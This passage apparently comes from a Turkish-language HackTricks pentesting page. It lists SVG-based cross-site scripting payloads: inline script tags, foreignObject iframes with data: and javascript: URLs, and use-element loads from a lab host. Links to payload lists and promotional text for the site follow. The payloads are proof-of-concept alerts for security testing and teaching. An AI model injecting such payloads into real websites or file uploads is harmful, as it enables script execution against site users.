<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Daha fazla SVG yüklemelerini https://github.com/allanlw/svg-cheatsheet adresinde bulabilirsiniz.
Diğer JS Hileleri ve İlgili Bilgiler
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
XSS kaynakları
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
Ödül avı ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium ödül avı platformuna! Bugün https://go.intigriti.com/hacktricks adresinde bize katılın ve 100.000 $'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te tanıtmak veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family koleksiyonumuzdaki özel NFT'leri keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.